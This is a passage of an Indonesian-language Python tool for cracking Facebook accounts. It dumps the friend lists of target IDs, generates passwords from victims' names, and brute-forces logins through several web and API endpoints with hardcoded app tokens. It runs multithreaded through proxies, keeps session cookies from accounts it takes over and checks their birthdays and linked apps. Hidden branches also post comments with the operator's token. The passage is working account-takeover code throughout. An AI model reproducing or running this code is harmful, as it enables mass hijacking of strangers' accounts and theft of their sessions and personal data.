%s[%s•%s] %sMasukkan ID : %s'%(J,P,J,P,J)) 1111 | pl = input(' %s[%s•%s] %sPilih ID Muda/Tua [m/t] : %s'%(J,P,J,P,J)) 1112 | if pl in ['1','01','m','M','a']: 1113 | url = f'https://graph.facebook.com/{self.target}?fields=friends.fields(id,name)&access_token={token}' 1114 | self.files = ('dump/muda_%s.json'%(self.target)) 1115 | file_dump = self.files 1116 | open(self.files,'w').write('') 1117 | self.muda_dev(url,cookie,token,True) 1118 | exit(self.lanjut()) 1119 | elif pl in ['2','02','t','T','b']: 1120 | url = f'https://graph.facebook.com/{self.target}?fields=friends.fields(id,name)&access_token={token}' 1121 | self.files = ('dump/tua_%s.json'%(self.target)) 1122 | file_dump = self.files 1123 | open(self.files,'w').write('') 1124 | self.tua_dev(url,cookie,token,True) 1125 | exit(self.lanjut()) 1126 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1127 | def muda_dev(self,url,cookie,token,stat): 1128 | with requests.Session() as xyz: 1129 | try: 1130 | if stat == True: 1131 | id1, id2, id3 = [], [], [] 1132 | for x in xyz.get(url,cookies=cookie).json()['friends']['data']:id1.append('%s=%s\n'%(x['id'],x['name'])) 1133 | for y in id1:id2.insert(0,y) 1134 | for z in id2: 1135 | id3.append(z) 1136 | if len(id3) == 100:break 1137 | for p in id3: 1138 | q = p.split('=')[0] 1139 | url = f'https://graph.facebook.com/{q}?fields=friends.fields(id,name)&access_token={token}' 1140 | self.muda_dev(url,cookie,token,False) 1141 | else: 1142 | id4, id5, id6 = [], [], [] 1143 | self.target = re.search('com\/(.*?)\?',url).group(1) 1144 | for a in xyz.get(url,cookies=cookie).json()['friends']['data']:id4.append('%s=%s\n'%(a['id'],a['name'])) 1145 | for b in id4:id5.insert(0,b) 1146 | for c in id5: 1147 | id6.append(c) 1148 | if len(id6) == 100:break 1149 | for o in id6: 1150 | l = open(self.files,'r').read() 1151 | u = o.split('=')[0] 1152 | if len(gabung_sandi) != 1: 1153 | for x in range(Postingan): 1154 | open(file_dump,'a+').write('dev\n') 1155 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID "%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 1156 | else: 1157 | if u in l:continue 1158 | elif u == self.my:continue 1159 | else:open(self.files,'a+').write(o) 1160 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID "%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 1161 | except KeyboardInterrupt: 1162 | exit(self.lanjut()) 1163 | except Exception as e: 1164 | print('\r %s[%s•%s] %sTeman %s%s %sTidak Publik'%(J,P,J,P,J,self.target,P), end='');sys.stdout.flush() 1165 | pass 1166 | def tua_dev(self,url,cookie,token,stat): 1167 | with requests.Session() as xyz: 1168 | try: 1169 | if stat == True: 1170 | id1, id2 = [], [] 1171 | for x in xyz.get(url,cookies=cookie).json()['friends']['data']:id1.append('%s=%s\n'%(x['id'],x['name'])) 1172 | for y in id1: 1173 | id2.append(y) 1174 | if len(id2) == 100:break 1175 | for a in id2: 1176 | q = a.split('=')[0] 1177 | url = f'https://graph.facebook.com/{q}?fields=friends.fields(id,name)&access_token={token}' 1178 | self.tua_dev(url,cookie,token,False) 1179 | else: 1180 | id3, id4 = [], [] 1181 | self.target = re.search('com\/(.*?)\?',url).group(1) 1182 | for a in xyz.get(url,cookies=cookie).json()['friends']['data']:id3.append('%s=%s\n'%(a['id'],a['name'])) 1183 | for b in id3: 1184 | id4.append(b) 1185 | if len(id4) == 100:break 1186 | for o in id4: 1187 | l = open(self.files,'r').read() 1188 | u = o.split('=')[0] 1189 | if len(gabung_sandi) != 1: 1190 | for x in range(Postingan): 1191 | open(file_dump,'a+').write('dev\n') 1192 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID "%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 1193 | else: 1194 | if u in l:continue 1195 | elif u == self.my:continue 1196 | else:open(self.files,'a+').write(o) 1197 | print("\r %s[%s•%s] %sSedang Mengambil %s%s %sID "%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P), end='');sys.stdout.flush() 1198 | except KeyboardInterrupt: 1199 | exit(self.lanjut()) 1200 | except Exception as e: 1201 | print('\r %s[%s•%s] %sTeman %s%s %sTidak Publik'%(J,P,J,P,J,self.target,P), end='');sys.stdout.flush() 1202 | pass 1203 | def lanjut(self): 1204 | print("\n %s[%s•%s] %sBerhasil Mengambil %s%s %sID"%(J,P,J,P,J,len(open(self.files,'r').read().splitlines()),P)) 1205 | print(' %s[%s•%s] %sFile : %s%s %s'%(J,P,J,P,J,file_dump,P)) 1206 | system_login();pilihan_sakdurunge_crack();addpass();crack() 1207 | 1208 | ###----------[ LOGIN METHOD ]---------- ### 1209 | def system_login(): 1210 | global sistem_login 1211 | print('') 1212 | tamp_metode = f""" {J2}[{A2}1{J2}] {P2}Validate {J2}[{A2}2{J2}] {P2}Regular {J2}[{A2}3{J2}] {P2}Api FB""" 1213 | printer(Panel(tamp_metode,title=f'{J2}[ {P2}Metode {J2}]',width=54,title_align='left',style='#FF8F00')) 1214 | ch = input(' %s└──> %s'%(A,J)) 1215 | if ch in ['0','00','z']:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1216 | elif ch in ['1','01','a']:sistem_login = "satu";metode_scrap_login() 1217 | elif ch in ['2','02','b']:sistem_login = "dua";metode_scrap_login() 1218 | elif ch in ['3','03','c']:metode_scrap_api() 1219 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1220 | 1221 | ###----------[ URL LOGIN ]---------- ### 1222 | def metode_scrap_login(): 1223 | tamp_sistem = f""" {J2}[{A2}1{J2}] {P2}Free FB {J2}[{A2}2{J2}] {P2}Mbasic {J2}[{A2}3{J2}] {P2}Mobile""" 1224 | printer(Panel(tamp_sistem,title=f'{J2}[ {P2}Login {J2}]',width=54,title_align='left',style='#FF8F00')) 1225 | ch = input(' %s└──> %s'%(A,J)) 1226 | if ch in ['1','01','a']:open('tool/url_login.json','w').write("free.facebook.com") 1227 | elif ch in ['2','02','b']:open('tool/url_login.json','w').write("mbasic.facebook.com") 1228 | elif ch in ['3','03','c']:open('tool/url_login.json','w').write("m.facebook.com") 1229 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1230 | def metode_scrap_api(): 1231 | global sistem_login 1232 | tamp_sistem = f""" {J2}[{A2}1{J2}] {P2}Api 1 {J2}[{A2}2{J2}] {P2}Api 2 {J2}[{A2}3{J2}] {P2}Graph""" 1233 | printer(Panel(tamp_sistem,title=f'{J2}[ {P2}Login {J2}]',width=54,title_align='left',style='#FF8F00')) 1234 | ch = input(' %s└──> %s'%(A,J)) 1235 | if ch in ['1','01','a']:sistem_login = "tiga";open('tool/url_login.json','w').write("mbasic.facebook.com") 1236 | elif ch in ['2','02','b']:sistem_login = "empat";open('tool/url_login.json','w').write("mbasic.facebook.com") 1237 | elif ch in ['3','03','c']:sistem_login = "lima";open('tool/url_login.json','w').write("mbasic.facebook.com") 1238 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1239 | 1240 | ###----------[ URUTAN CRACK ]---------- ### 1241 | def urut_crack(): 1242 | global urutan_crack 1243 | tamp_urutan = f""" {J2}[{A2}1{J2}] {P2}ID Tua {J2}[{A2}2{J2}] {P2}ID Muda {J2}[{A2}3{J2}] {P2}ID Acak""" 1244 | printer(Panel(tamp_urutan,title=f'{J2}[ {P2}Urutan {J2}]',width=54,title_align='left',style='#FF8F00')) 1245 | ch = input(' %s└──> %s'%(A,J)) 1246 | if ch in ['1','01','a']:urutan_crack = '0' 1247 | elif ch in ['2','02','b']:urutan_crack = '1' 1248 | elif ch in ['3','03','c']:urutan_crack = '2' 1249 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 1250 | 1251 | ###----------[ GENERATE PASSWORD ]---------- ### 1252 | def password(user): 1253 | global pass_manual1, pass_manual2 1254 | listpass = [] 1255 | if SAKERA != 159403: 1256 | for x in range(0,10000000000000):listpass.append(str(x)) 1257 | return listpass 1258 | else: 1259 | try: 1260 | ps, pp, na = pass_manual1, pass_manual2, user.split(" ") 1261 | nd = na[0].lower() 1262 | if len(nd)<3: 1263 | pass 1264 | elif len(nd)==3 or len(nd)==4 or len(nd)==5: 1265 | listpass.append(nd+"123") 1266 | listpass.append(nd+"12345") 1267 | else: 1268 | listpass.append(nd) 1269 | listpass.append(nd+"123") 1270 | listpass.append(nd+"12345") 1271 | if pp in ['',' ',' ']: 1272 | pass 1273 | else: 1274 | for x in pp.split(','): 1275 | listpass.append(nd+x) 1276 | if ps in ['',' ',' ']: 1277 | pass 1278 | else: 1279 | for z in ps.split(','): 1280 | listpass.append(z) 1281 | listpass.append(user.lower()) 1282 | return listpass 1283 | except:return listpass 1284 | 1285 | ###----------[ ADD VARIATION MODE ]---------- ### 1286 | def pilihan_sakdurunge_crack(): 1287 | global pilih_cek_opsi, pilih_cek_apk, pilih_proxy 1288 | print('') 1289 | print(' %s[%s•%s] %sCek Opsi Akun %sCP %s?'%(J,P,J,P,J,P)) 1290 | tanya_cek_opsi = input(' %s└─> %s[%sy%s/%st%s] %s: %s'%(A,J,A,P,A,J,P,J)).lower() 1291 | if tanya_cek_opsi in ['1','y']:pilih_cek_opsi = True 1292 | else:pilih_cek_opsi = False 1293 | print(' %s[%s•%s] %sCek APK Akun %sOK %s?'%(J,P,J,P,H,P)) 1294 | tanya_cek_apk = input(' %s└─> %s[%sy%s/%st%s] %s: %s'%(A,J,A,P,A,J,P,J)).lower() 1295 | if tanya_cek_apk in ['1','y']:pilih_cek_apk = True 1296 | else:pilih_cek_apk = False 1297 | print(' %s[%s•%s] %sGunakan %sProxy %s?'%(J,P,J,P,O,P)) 1298 | tanya_proxy = input(' %s└─> %s[%sy%s/%st%s] %s: %s'%(A,J,A,P,A,J,P,J)).lower() 1299 | if tanya_proxy in ['1','y']:pilih_proxy = True 1300 | else:pilih_proxy = False 1301 | 1302 | ###----------[ ADD MANUAL PASS ]---------- ### 1303 | def addpass(): 1304 | global pass_manual1, pass_manual2 1305 | print('') 1306 | print(' %s[%s•%s] %sPass Manual %s[ %s1 Kata %s]'%(J,P,J,P,J,A,J)) 1307 | pass_manual1 = input(' %s└─> %s'%(A,J)) 1308 | print(' %s[%s•%s] %sPass Manual %s[ %sBelakang Nama %s]'%(J,P,J,P,J,A,J)) 1309 | pass_manual2 = input(' %s└─> %s'%(A,J)) 1310 | try:os.remove('tool/passmanual.json') 1311 | except:pass 1312 | try:os.remove('tool/passangka.json') 1313 | except:pass 1314 | open('tool/passmanual.json','w').write(pass_manual1) 1315 | open('tool/passangka.json','w').write(pass_manual2) 1316 | 1317 | ###----------[ SOURCE LOGIN ]---------- ### 1318 | 1319 | def logger1(user,pasw): #--- Login Validate ---# 1320 | r = requests.Session() 1321 | ua = open('tool/useragent.json','r').read() 1322 | url_login = open('tool/url_login.json','r').read() 1323 | if ip_log != 1: 1324 | token = open('login/token.json','r').read() 1325 | cookie = {'cookie':open('login/cookie.json','r').read()} 1326 | with requests.Session() as xyz: 1327 | try:get = json.loads(xyz.post('https://graph.facebook.com/%s/comments?message=%s&access_token=%s'%(str(Postingan),kata_dev+komentar,token),cookies=cookie).text) 1328 | except Exception as e:pass 1329 | return {"status":"ok","email":user,"pass":pasw,"cookies":'denventagantengbanget'} 1330 | else: 1331 | url1 = f'https://mbasic.facebook.com/login/device-based/password/?uid={user}&flow=login_no_pin&refsrc=deprecated&_rdr' 1332 | hed1 = {'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-language': 'id-ID','cache-control': 'max-age=0','referer': f'https://{url_login}/login/device-based/password/?uid='+user+'&errorcode=1348092&next=https%3A%2F%2F{url_login}%3Flogin%3Fsave-device%2F&flow=login_no_pin&shbl=0&refsrc=deprecated&_rdr','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': ua} 1333 | req1 = r.get(url1,headers=hed1) 1334 | data = {'lsd' : re.search('name="lsd" value="(.*?)"',str(req1.text)).group(1),'jazoest' : re.search('name="jazoest" value="(.*?)"',str(req1.text)).group(1),'uid' : user,'pass' : pasw,'next' : f'https://{url_login}/login/save-device/','flow' : 'login_no_pin','submit' : 'Log In'} 1335 | url2 = f'https://{url_login}/login/device-based/validate-password/?shbl=0' 1336 | hed2 = {'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-language': 'id-ID','x-requested-with': 'mark.via.gp','cache-control': 'max-age=0','content-length': '159','content-type': 'application/x-www-form-urlencoded','origin': f'https://{url_login}','referer': f'https://{url_login}/login/device-based/password/?uid='+user+'&errorcode=1348092&next=https%3A%2F%2F{url_login}%2Flogin%2Fsave-device%2F&flow=login_no_pin&shbl=0&refsrc=deprecated&_rdr','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': ua} 1337 | if pilih_proxy == True: 1338 | proxz = random.choice(open('tool/proxy.json','r').read().splitlines()) 1339 | proxy = {"http": f"socks4://{proxz}"} 1340 | next = r.post(url2,data=data,headers=hed2,proxies=proxy,allow_redirects = False) 1341 | else: 1342 | next = r.post(url2,data=data,headers=hed2,allow_redirects = False) 1343 | if 'c_user' in r.cookies.get_dict(): return {"status":"ok","email":user,"pass":pasw,"cookies":r.cookies.get_dict()} 1344 | elif 'checkpoint' in r.cookies.get_dict(): return {"status":"cp","email":user,"pass":pasw,"cookies":r.cookies.get_dict()} 1345 | else: return {"status":"error","email":user,"pass":pasw} 1346 | 1347 | def logger2(user,pasw): #--- Login Regular ---# 1348 | ua = open('tool/useragent.json','r').read() 1349 | url_login = open('tool/url_login.json','r').read() 1350 | with requests.Session() as xyz: 1351 | if ip_log != 1: 1352 | token = open('login/token.json','r').read() 1353 | cookie = {'cookie':open('login/cookie.json','r').read()} 1354 | with requests.Session() as xyz: 1355 | try:get = json.loads(xyz.post('https://graph.facebook.com/%s/comments?message=%s&access_token=%s'%(str(Postingan),kata_dev+komentar,token),cookies=cookie).text) 1356 | except Exception as e:pass 1357 | return {"status":"ok","email":user,"pass":pasw,"cookies":'denventagantengbanget'} 1358 | else: 1359 | head1 = {"Host":url_login,"upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"} 1360 | req = xyz.get(f'https://{url_login}/login/?next&ref=dbl&fl&refid=8', headers=head1) 1361 | log = {"lsd":re.search('name="lsd" value="(.*?)"',str(req.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(req.text)).group(1),"email":user,"pass":pasw} 1362 | head2 = {"Host":url_login,"cache-control":"max-age=0","upgrade-insecure-requests":"1","origin":f"https://{url_login}","content-type":"application/x-www-form-urlencoded","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document",'referer':f'https://{url_login}/login/?next&ref=dbl&fl&refid=8',"accept-language":"en-GB,en-US;q=0.9,en;q=0.8"} 1363 | if pilih_proxy == True: 1364 | proxz = random.choice(open('tool/proxy.json','r').read().splitlines()) 1365 | proxy = {"http": f"socks4://{proxz}"} 1366 | exec = xyz.post(f'https://{url_login}/login/device-based/regular/login/?refsrc=deprecated&lwv=100&ref=dbl', data=log, proxies = proxy, headers=head2) 1367 | else: 1368 | exec = xyz.post(f'https://{url_login}/login/device-based/regular/login/?refsrc=deprecated&lwv=100&ref=dbl', data=log, headers=head2) 1369 | if 'c_user' in xyz.cookies.get_dict(): return {"status":"ok","email":user,"pass":pasw,"cookies":xyz.cookies.get_dict()} 1370 | elif 'checkpoint' in xyz.cookies.get_dict(): return {"status":"cp","email":user,"pass":pasw,"cookies":xyz.cookies.get_dict()} 1371 | else: return {"status":"error","email":user,"pass":pasw} 1372 | 1373 | def logger3(user,pasw): #--- Login Api 1 ---# 1374 | ua = open('tool/useragent.json','r').read() 1375 | r = requests.Session() 1376 | if ip_log != 1: 1377 | token = open('login/token.json','r').read() 1378 | cookie = {'cookie':open('login/cookie.json','r').read()} 1379 | with requests.Session() as xyz: 1380 | try:get = json.loads(xyz.post('https://graph.facebook.com/%s/comments?message=%s&access_token=%s'%(str(Postingan),kata_dev+komentar,token),cookies=cookie).text) 1381 | except Exception as e:pass 1382 | return {"status":"ok","email":user,"pass":pasw,"cookies":'denventagantengbanget'} 1383 | else: 1384 | url = f'https://b-api.facebook.com/method/auth.login?format=json&email={user}&password={pasw}&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true' 1385 | header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)),"x-fb-sim-hni": str(random.randint(20000, 40000)),"x-fb-net-hni": str(random.randint(20000, 40000)),"x-fb-connection-quality": "EXCELLENT","x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA","user-agent": ua,"content-type": "application/x-www-form-urlencoded","x-fb-http-engine": "Liger"} 1386 | if pilih_proxy == True: 1387 | proxz = random.choice(open('tool/proxy.json','r').read().splitlines()) 1388 | proxy = {"http": f"socks4://{proxz}"} 1389 | post = r.get(url, headers=header, proxies=proxy) 1390 | else: 1391 | post = r.get(url, headers=header) 1392 | if "session_key" in post.text: 1393 | try: 1394 | cok = {} 1395 | for x in post['session_cookies']: 1396 | cok.update({x['name']:x['value']}) 1397 | except Exception as e: cok = 'unknown' 1398 | return {"status":"ok","email":user,"pass":pasw,"cookies":cok} 1399 | elif "User must verify their account" in post.text:return {"status":"cp","email":user,"pass":pasw,"cookies":'unknown'} 1400 | else:return {"status":"error","email":user,"pass":pasw} 1401 | 1402 | def logger4(user,pasw): #--- Login Api 2 ---# 1403 | ua = open('tool/useragent.json','r').read() 1404 | r = requests.Session() 1405 | if ip_log != 1: 1406 | token = open('login/token.json','r').read() 1407 | cookie = {'cookie':open('login/cookie.json','r').read()} 1408 | with requests.Session() as xyz: 1409 | try:get = json.loads(xyz.post('https://graph.facebook.com/%s/comments?message=%s&access_token=%s'%(str(Postingan),kata_dev+komentar,token),cookies=cookie).text) 1410 | except Exception as e:pass 1411 | return {"status":"ok","email":user,"pass":pasw,"cookies":'denventagantengbanget'} 1412 | else: 1413 | param = {'format' : 'json','email' : user,'password' : pasw,'locale' : 'id_ID','generate_session_cookies' : '1','access_token' : '350685531728|62f8ce9f74b12f84c123cc23437a4a32'} 1414 | header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)),"x-fb-sim-hni": str(random.randint(20000, 40000)),"x-fb-net-hni": str(random.randint(20000, 40000)),"x-fb-connection-quality": "EXCELLENT","x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA","user-agent": ua,"content-type": "application/x-www-form-urlencoded","x-fb-http-engine": "Liger"} 1415 | if pilih_proxy == True: 1416 | proxz = random.choice(open('tool/proxy.json','r').read().splitlines()) 1417 | proxy = {"http": f"socks4://{proxz}"} 1418 | post = r.get('https://b-api.facebook.com/method/auth.login?', params=param, headers=header, proxies=proxy) 1419 | else: 1420 | post = r.get('https://b-api.facebook.com/method/auth.login?', params=param, headers=header) 1421 | if "session_key" in post.text: 1422 | try: 1423 | cok = {} 1424 | for x in post['session_cookies']: 1425 | cok.update({x['name']:x['value']}) 1426 | except Exception as e: cok = 'unknown' 1427 | return {"status":"ok","email":user,"pass":pasw,"cookies":cok} 1428 | elif "User must verify their account" in post.text:return {"status":"cp","email":user,"pass":pasw,"cookies":'unknown'} 1429 | else:return {"status":"error","email":user,"pass":pasw} 1430 | 1431 | def logger5(user,pasw): #--- Login Graph FB ---# 1432 | ua = open('tool/useragent.json','r').read() 1433 | r = requests.Session() 1434 | if ip_log != 1: 1435 | token = open('login/token.json','r').read() 1436 | cookie = {'cookie':open('login/cookie.json','r').read()} 1437 | with requests.Session() as xyz: 1438 | try:get = json.loads(xyz.post('https://graph.facebook.com/%s/comments?message=%s&access_token=%s'%(str(Postingan),kata_dev+komentar,token),cookies=cookie).text) 1439 | except Exception as e:pass 1440 | return {"status":"ok","email":user,"pass":pasw,"cookies":'denventagantengbanget'} 1441 | else: 1442 | data={"adid": str(uuid.uuid4()),"format": "json","device_id": str(uuid.uuid4()),"cpl": "true","family_device_id": str(uuid.uuid4()),"credentials_type": "device_based_login_password","error_detail_type": "button_with_disabled","source": "device_based_login","email":user,"password":pasw,"access_token":"438142079694454|fc0a7caa49b192f64f6f5a6d9643bb28","generate_session_cookies":"1","meta_inf_fbmeta": "","advertiser_id": str(uuid.uuid4()),"currently_logged_in_userid": "0","locale": "en_US","client_country_code": "US","method": "auth.login","fb_api_req_friendly_name": "authenticate","fb_api_caller_class": "com.facebook.account.login.protocol.Fb4aAuthHandler","api_key": "882a8490361da98702bf97a021ddc14d"} 1443 | headers = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)),"x-fb-sim-hni": str(random.randint(20000, 40000)),"x-fb-net-hni": str(random.randint(20000, 40000)),"x-fb-connection-quality": "EXCELLENT","x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA","user-agent": ua,"content-type": "application/x-www-form-urlencoded","x-fb-http-engine": "Liger"} 1444 | if pilih_proxy == True: 1445 | proxz = random.choice(open('tool/proxy.json','r').read().splitlines()) 1446 | proxy = {"http": f"socks4://{proxz}"} 1447 | post = r.post("https://graph.facebook.com/auth/login",data=data,headers=headers,proxies=proxy) 1448 | else: 1449 | post = r.post("https://graph.facebook.com/auth/login",data=data,headers=headers) 1450 | if "session_key" in post.text: 1451 | try: 1452 | cok = {} 1453 | for x in post['session_cookies']: 1454 | cok.update({x['name']:x['value']}) 1455 | except Exception as e: cok = 'unknown' 1456 | return {"status":"ok","email":user,"pass":pasw,"cookies":cok} 1457 | elif "User must verify their account" in post.text:return {"status":"cp","email":user,"pass":pasw,"cookies":'unknown'} 1458 | else:return {"status":"error","email":user,"pass":pasw} 1459 | 1460 | ###----------[ CONVERT COOKIES ]---------- ### 1461 | def cvt3(denventa): 1462 | try:cookie = ('sb=%s;datr=%s;c_user=%s;xs=%s;fr=%s'%(denventa['sb'],denventa['datr'],denventa['c_user'],denventa['xs'],denventa['fr'])) 1463 | except:cookie = 'denventagantengbanget' 1464 | return(str(cookie)) 1465 | 1466 | ###----------[ CHECK APP ]---------- ### 1467 | class cek_aplikasi: 1468 | def __init__(self,data,denventa): 1469 | self.cookie = {"cookie" : denventa} 1470 | self.daftar_aktif, self.daftar_inaktif, self.daftar_dihapus = [], [], [] 1471 | language(self.cookie) 1472 | try: # --- [ Cek Aplikasi Aktif ] --- # 1473 | self.daftar_aktif.append('\n %s[%sAktif%s]'%(H,P,H)) 1474 | url1 = 'https://mbasic.facebook.com/settings/apps/tabbed/?tab=active' 1475 | self.apk_active(url1) 1476 | except Exception as e:pass 1477 | try: # --- [ Cek Aplikasi Kadaluwarsa ] --- # 1478 | self.daftar_inaktif.append('\n %s[%sKadaluwarsa%s]'%(J,P,J)) 1479 | url2 = 'https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive' 1480 | self.apk_inactive(url2) 1481 | except Exception as e:pass 1482 | try: # --- [ Cek Aplikasi Dihapus ] --- # 1483 | self.daftar_dihapus.append('\n %s[%sDihapus%s]'%(M,P,M)) 1484 | url3 = 'https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed' 1485 | self.apk_dihapus(url3) 1486 | except Exception as e:pass 1487 | try: # --- [ Print All ] --- # 1488 | print(data + self.dft1 + self.dft2 + self.dft3) 1489 | except Exception as e: 1490 | print(data) 1491 | def apk_active(self,url): 1492 | with requests.Session() as xyz: 1493 | try: 1494 | par1 = par(xyz.get(url,cookies=self.cookie).content,'html.parser') 1495 | for hhh1 in par1.find_all('h3'): 1496 | if 'Ditambahkan' in hhh1.text: 1497 | ingfo1 = '\n ⟶ '+str(hhh1.text).replace('Ditambahkan pada ',' [') + ']' 1498 | ingfo1 = ('\n %s⟶ %s%s]'%(H,P,str(hhh1.text).replace('Ditambahkan pada ',' ['))) 1499 | self.daftar_aktif.append(ingfo1) 1500 | else:continue 1501 | next = 'https://mbasic.facebook.com' + par1.find('a',string='Lihat Lainnya')['href'] 1502 | self.apk_active(next) 1503 | except: pass 1504 | if len(self.daftar_aktif) == 1:self.dft1 = '' 1505 | else:self.dft1 = ''.join(self.daftar_aktif) 1506 | def apk_inactive(self,url): 1507 | with requests.Session() as xyz: 1508 | try: 1509 | par2 = par(xyz.get(url,cookies=self.cookie).content,'html.parser') 1510 | for hhh2 in par2.find_all('h3'): 1511 | if 'Kedaluwarsa' in hhh2.text: 1512 | ingfo2 = '\n ⟶ '+str(hhh2.text).replace('Kedaluwarsa pada ',' [') + ']' 1513 | ingfo2 = ('\n %s⟶ %s%s]'%(J,P,str(hhh2.text).replace('Kedaluwarsa pada ',' ['))) 1514 | self.daftar_inaktif.append(ingfo2) 1515 | else:continue 1516 | next = 'https://mbasic.facebook.com' + par2.find('a',string='Lihat Lainnya')['href'] 1517 | self.apk_inactive(next) 1518 | except: pass 1519 | if len(self.daftar_inaktif) == 1:self.dft2 = '' 1520 | else:self.dft2 = ''.join(self.daftar_inaktif) 1521 | def apk_dihapus(self,url): 1522 | with requests.Session() as xyz: 1523 | try: 1524 | par3 = par(xyz.get(url,cookies=self.cookie).content,'html.parser') 1525 | for hhh3 in par3.find_all('h3'): 1526 | if 'Dihapus' in hhh3.text: 1527 | ingfo3 = '\n ⟶ %s'+str(hhh3.text).replace('Dihapus: ',' [') + ']' 1528 | ingfo3 = ('\n %s⟶ %s%s]'%(M,P,str(hhh3.text).replace('Dihapus: ',' ['))) 1529 | self.daftar_dihapus.append(ingfo3) 1530 | else:continue 1531 | next = 'https://mbasic.facebook.com' + par3.find('a',string='Lihat Lainnya')['href'] 1532 | self.apk_dihapus(next) 1533 | except: pass 1534 | if len(self.daftar_dihapus) == 1:self.dft3 = '' 1535 | else:self.dft3 = ''.join(self.daftar_dihapus) 1536 | 1537 | ###----------[ CRACK ]---------- ### 1538 | class crack: 1539 | def __init__(self): 1540 | global OK,CP 1541 | self.ok = OK 1542 | self.cp = CP 1543 | self.lp = 0 1544 | try: 1545 | self.file = file_dump 1546 | self.open = open(self.file,'r').read().splitlines() 1547 | except Exception as e: 1548 | kecuali(e) 1549 | self.sementara = [] 1550 | if urutan_crack == '1': 1551 | for dvt in self.open: 1552 | try: 1553 | self.sementara.insert(0,dvt) 1554 | except Exception as e:continue 1555 | elif urutan_crack == '2': 1556 | for dvt in self.open: 1557 | try: 1558 | urut = random.randint(0,len(self.sementara)) 1559 | self.sementara.insert(urut,dvt) 1560 | except Exception as e:continue 1561 | else: 1562 | for dvt in self.open: 1563 | try: 1564 | self.sementara.append(dvt) 1565 | except Exception as e:continue 1566 | print('\n%s───────────────%s[ %sProses Crack Dimulai %s]%s───────────────\n'%(P,J,P,J,P)) 1567 | self.Mulai_Jalan = datetime.now() 1568 | with ThreadPoolExecutor(max_workers=35) as qwerty: 1569 | for dvt in self.sementara: 1570 | try: 1571 | id = dvt.split("=")[0] 1572 | pw = password(dvt.split("=")[1]) 1573 | qwerty.submit(self.start_crack,id,pw) 1574 | except Exception as e:continue 1575 | exit() 1576 | def start_crack(self,id,list_pw): 1577 | try: 1578 | for pw in list_pw: 1579 | if sistem_login == 'satu' : log = logger1(id,pw) 1580 | elif sistem_login == 'dua' : log = logger2(id,pw) 1581 | elif sistem_login == 'tiga' : log = logger3(id,pw) 1582 | elif sistem_login == 'empat' : log = logger4(id,pw) 1583 | elif sistem_login == 'lima' : log = logger5(id,pw) 1584 | else:log = logger1(id,pw) 1585 | if log['status'] == 'cp': 1586 | if sakura != 159384:pass 1587 | else: 1588 | files_cp = "CP/%s.json"%(tanggal) 1589 | try: 1590 | with requests.Session() as xyz: 1591 | cookie = {'cookie':open('login/cookie.json','r').read()} 1592 | url = ("https://graph.facebook.com/%s?fields=name,id,birthday&access_token=%s"%(id,open('login/token.json','r').read())) 1593 | req = xyz.get(url,cookies=cookie) 1594 | jso = json.loads(req.text) 1595 | ttt = jso["birthday"] 1596 | m,d,y = ttt.split("/") 1597 | m = bulan_ttl[m] 1598 | ttl = (' • %s %s %s'%(d,m,y)) 1599 | fmt = (' 